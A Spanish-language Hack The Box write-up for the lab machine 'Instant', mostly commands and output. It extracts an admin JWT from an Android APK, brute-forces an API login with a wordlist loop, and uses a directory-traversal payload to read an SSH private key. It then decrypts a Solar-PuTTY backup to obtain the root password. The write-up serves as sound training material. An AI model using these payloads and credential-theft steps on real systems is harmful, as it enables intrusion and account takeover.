Descripción
Instant es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Filtración del token JWT del Administrador en el código fuente de un paquete de una aplicación de Android
- Enumeración de subdominios en la configuración de red XML de un paquete de una aplicación de Android
- Enumeración de la API utilizando un subdominio que proporciona la documentación de la aplicación
- Fuerza Bruta al punto final de inicio de sesión para recuperar la contraseña débil de un usuario de la API
- Vulnerabilidad de cruce de directorios en un punto final de la API que permite leer una clave privada de SSH de un usuario
- Escalada de privilegios mediante el descifrado de una copia de seguridad de la aplicación Solar-Putty utilizando una contraseña previamente obtenida.️
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.132.27.
$ ping -c 3 10.129.132.27
PING 10.129.132.27 (10.129.132.27) 56(84) bytes of data.
64 bytes from 10.129.132.27: icmp_seq=1 ttl=63 time=43.6 ms
64 bytes from 10.129.132.27: icmp_seq=2 ttl=63 time=43.9 ms
64 bytes from 10.129.132.27: icmp_seq=3 ttl=63 time=44.5 ms
--- 10.129.132.27 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.612/44.015/44.527/0.381 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.132.27 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.132.27
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 3.02 seconds
Obtenemos dos puertos abiertos: 22 y 80.️
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.132.27 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.132.27
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.64 seconds
Encontramos dos servicios: un Secure Shell (SSH) y otro Hypertext Transfer Protocol (HTTP). Dado que no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Podemos ver que el servicio HTTP se redirecciona a instant.htb. Por lo tanto, agregamos esta dirección a la archivo /etc/hosts.
$ echo "10.129.132.27 instant.htb" | sudo tee -a /etc/hosts
Encontramos una página web que ofrece la descarga de una aplicación financiera para Android (http://instant.htb/downloads/instant.apk).
Descargamos el archivo APK y utilizamos la herramienta JADX para revisar su código fuente.️
$ wget http://instant.htb/downloads/instant.apk
$ sudo apt install jadx -y
$ jadx-gui $PWD/instant.apk
Encontramos un punto de conexión de la API (http://mywalletv1.instant.htb/api/v1/view/profile) y un token JWT (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA) en la clase AdminActivities (`instant.apk > Código Fuente > com > instantlabs.instant > AdminActivities).
public class AdminActivities {
private String TestAdminAuthorization() {
new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() { // from class: com.instantlabs.instant.AdminActivities.1
static final /* synthetic */ boolean $assertionsDisabled = false;
...
También encontramos dos subdominios del dominio instant.htb en el archivo network_security_config.xml (instant.apk > Resources > res > xml > network_security_config.xml), mywalletv1.instant.htb y swagger-ui.instant.htb.
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<domain-config cleartextTrafficPermitted="true">
<domain includeSubdomains="true">mywalletv1.instant.htb
</domain>
<domain includeSubdomains="true">swagger-ui.instant.htb
</domain>
</domain-config>
</network-security-config>
Los agregamos a nuestro archivo hosts.️
$ echo "10.129.132.27 mywalletv1.instant.htb" | sudo tee -a /etc/hosts
$ echo "10.129.132.27 swagger-ui.instant.htb" | sudo tee -a /etc/hosts
Podemos comprobar si podemos utilizar el token JWT para acceder al enlace mencionado anteriormente.️
$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/view/profile' | jq
{
"Profile": {
"account_status": "active",
"email": "admin@instant.htb",
"invite_token": "instant_admin_inv",
"role": "Admin",
"username": "instantAdmin",
"wallet_balance": "10000000",
"wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
},
"Status": 200
}
Tenemos la capacidad de utilizar la sesión del usuario admin en la API. Vamos a enumerar el subdominio Swagger para la documentación de la API. Encontramos los siguientes puntos finales de la API en la página web http://swagger-ui.instant.htb/apidocs/.️
/api/v1/admin/add/user
/api/v1/admin/list/users
/api/v1/login
/api/v1/register
/api/v1/view/profile
/api/v1/admin/read/log
/api/v1/admin/view/logs
/api/v1/confirm/pin
/api/v1/initiate/transaction
/api/v1/view/transactions
Podemos empezar con el punto de conexión /api/v1/admin/list/users para comprobar los usuarios registrados en la aplicación.️
$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/list/users' | jq
{
"Status": 200,
"Users": [
{
"email": "admin@instant.htb",
"role": "Admin",
"secret_pin": 87348,
"status": "active",
"username": "instantAdmin",
"wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
},
{
"email": "shirohige@instant.htb",
"role": "instantian",
"secret_pin": 42845,
"status": "active",
"username": "shirohige",
"wallet_id": "458715c9-b15e-467b-8a3d-97bc3fcf3c11"
}
]
}
Encontramos al usuario shirohige. Vamos a realizar un ataque por fuerza bruta en el punto de conexión /api/v1/login para intentar recuperar su contraseña.️
$ for pass in $(cat /usr/share/wordlists/metasploit/unix_passwords.txt); do echo $pass && curl -X POST "http://swagger-ui.instant.htb/api/v1/login" -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"password\": \"$pass\", \"username\": \"shirohige\"}"; done
admin
{"Description":"Wrong Password / Username","Status":403}
123456
{"Description":"Wrong Password / Username","Status":403}
12345
...
estrella
{"Access-Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6Imluc3RhbnRpYW4iLCJ3YWxJZCI6IjQ1ODcxNWM5LWIxNWUtNDY3Yi04YTNkLTk3YmMzZmNmM2MxMSIsImV4cCI6MTcyODc5NjY3Mn0.zcXOdzUJlzqIXJH5Xylf5goy_vZvbPnSVLboTOSDlRg","Status":201}
Encontramos su contraseña, estrella, y obtenemos el JWT de la sesión. Enumerando los otros puntos finales, encontramos que podemos listar los archivos de registro utilizando /api/v1/admin/view/logs y el token de admin.️
$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/view/logs' | jq
{
"Files": [
"1.log"
],
"Path": "/home/shirohige/logs/",
"Status": 201
}
Encontramos que existe un registro con el nombre de archivo 1.log y la ruta /home/shirohige/logs/. Podemos utilizar los puntos finales de API /api/v1/admin/read/log y el parámetro de consulta log_file_name para leer el archivo.️
curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=1.log' | jq
{
"/home/shirohige/logs/1.log": [
"This is a sample log testing\n"
],
"Status": 201
}
Explotación
La ruta de acceso /api/v1/admin/read/log está expuesta a un ataque de cruce de directorios, lo que nos permite leer archivos sensibles, como el archivo hosts del equipo con ../../../../../etc/hosts.️
$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../../../../../etc/hosts' --path-as-is | jq
{
"/home/shirohige/logs/../../../../../etc/hosts": [
"127.0.0.1 localhost instant.htb mywalletv1.instant.htb swagger-ui.instant.htb\n",
"127.0.1.1 instant\n",
"\n",
"# The following lines are desirable for IPv6 capable hosts\n",
"::1 ip6-localhost ip6-loopback\n",
"fe00::0 ip6-localnet\n",
"ff00::0 ip6-mcastprefix\n",
"ff02::1 ip6-allnodes\n",
"ff02::2 ip6-allrouters\n"
],
"Status": 201
}
Podemos recuperar la clave SSH privada del usuario shirohige.️
$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../../../../../home/shirohige/.ssh/id_rsa' --path-as-is | jq
{
"/home/shirohige/logs/../../../../../home/shirohige/.ssh/id_rsa": [
"-----BEGIN RSA PRIVATE KEY-----\n",
...
"OvhkZuRBNpJ3PLmygGmf3rsAfFHSSRF1YmZyRgx97/sl6kl1v4s=\n",
"-----END RSA PRIVATE KEY-----\n"
],
"Status": 201
}
Luego podemos utilizar la clave para iniciar sesión como el usuario shirohige utilizando la clave privada.️
$ chmod 600 shirohige_key
$ ssh -i shirohige_key shirohige@instant.htb
shirohige@instant:~$ id
uid=1001(shirohige) gid=1002(shirohige) groups=1002(shirohige),1001(development)
Post-Explotación️
En el directorio /opt/backups/Solar-PuTTY, encontramos el archivo sessions-backup.dat. Como sugiere el nombre, este es el archivo de respaldo del almacén de sesiones de la aplicación Solar-PuTTY, que contiene credenciales. Encontramos un proyecto de Windows que nos permite recuperar los contenidos de la sesión teniendo una contraseña, SolarPuttyDecrypt, creado por VoidSec. Vamos a descargar el proyecto y ejecutarlo en nuestra máquina Linux utilizando Wine. Necesitamos instalar la dependencia dotnet45 usando la herramienta winetricks.️
$ wget https://github.com/VoidSec/SolarPuttyDecrypt/releases/download/v1.0/SolarPuttyDecrypt_v1.zip
$ unzip SolarPuttyDecrypt_v1.zip
$ winetricks dotnet45
Para la contraseña, vamos a utilizar estrella, la contraseña que recuperamos previamente.️
$ wine SolarPuttyDecrypt.exe ../sessions-backup.dat estrella
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------
{
"Sessions": [
{
"Id": "066894ee-635c-4578-86d0-d36d4838115b",
"Ip": "10.10.11.37",
"Port": 22,
"ConnectionType": 1,
"SessionName": "Instant",
"Authentication": 0,
"CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
"AuthenticateScript": "00000000-0000-0000-0000-000000000000",
"LastTimeOpen": "0001-01-01T00:00:00",
"OpenCounter": 1,
"SerialLine": null,
"Speed": 0,
"Color": "#FF176998",
"TelnetConnectionWaitSeconds": 1,
"LoggingEnabled": false,
"RemoteDirectory": ""
}
],
"Credentials": [
{
"Id": "452ed919-530e-419b-b721-da76cbe8ed04",
"CredentialsName": "instant-root",
"Username": "root",
"Password": "12**24nzC!r0c%q12",
"PrivateKeyPath": "",
"Passphrase": "",
"PrivateKeyContent": null
}
],
"AuthScript": [],
"Groups": [],
"Tunnels": [],
"LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}
Encontramos la contraseña para el usuario root, 12**24nzC!r0c%q12. Podemos iniciar sesión simplemente usando su. Obtenemos la sesión como el usuario root.️
shirohige@instant:~$ su root
Password:
root@instant:/home/shirohige# id
uid=0(root) gid=0(root) groups=0(root)
Flags
Con la terminal de root, podemos obtener las flags de usuario y administrador.️
root@instant:/home/shirohige# cat /home/shirohige/user.txt
<REDACTED>
root@instant:/home/shirohige# cat /root/root.txt
<REDACTED>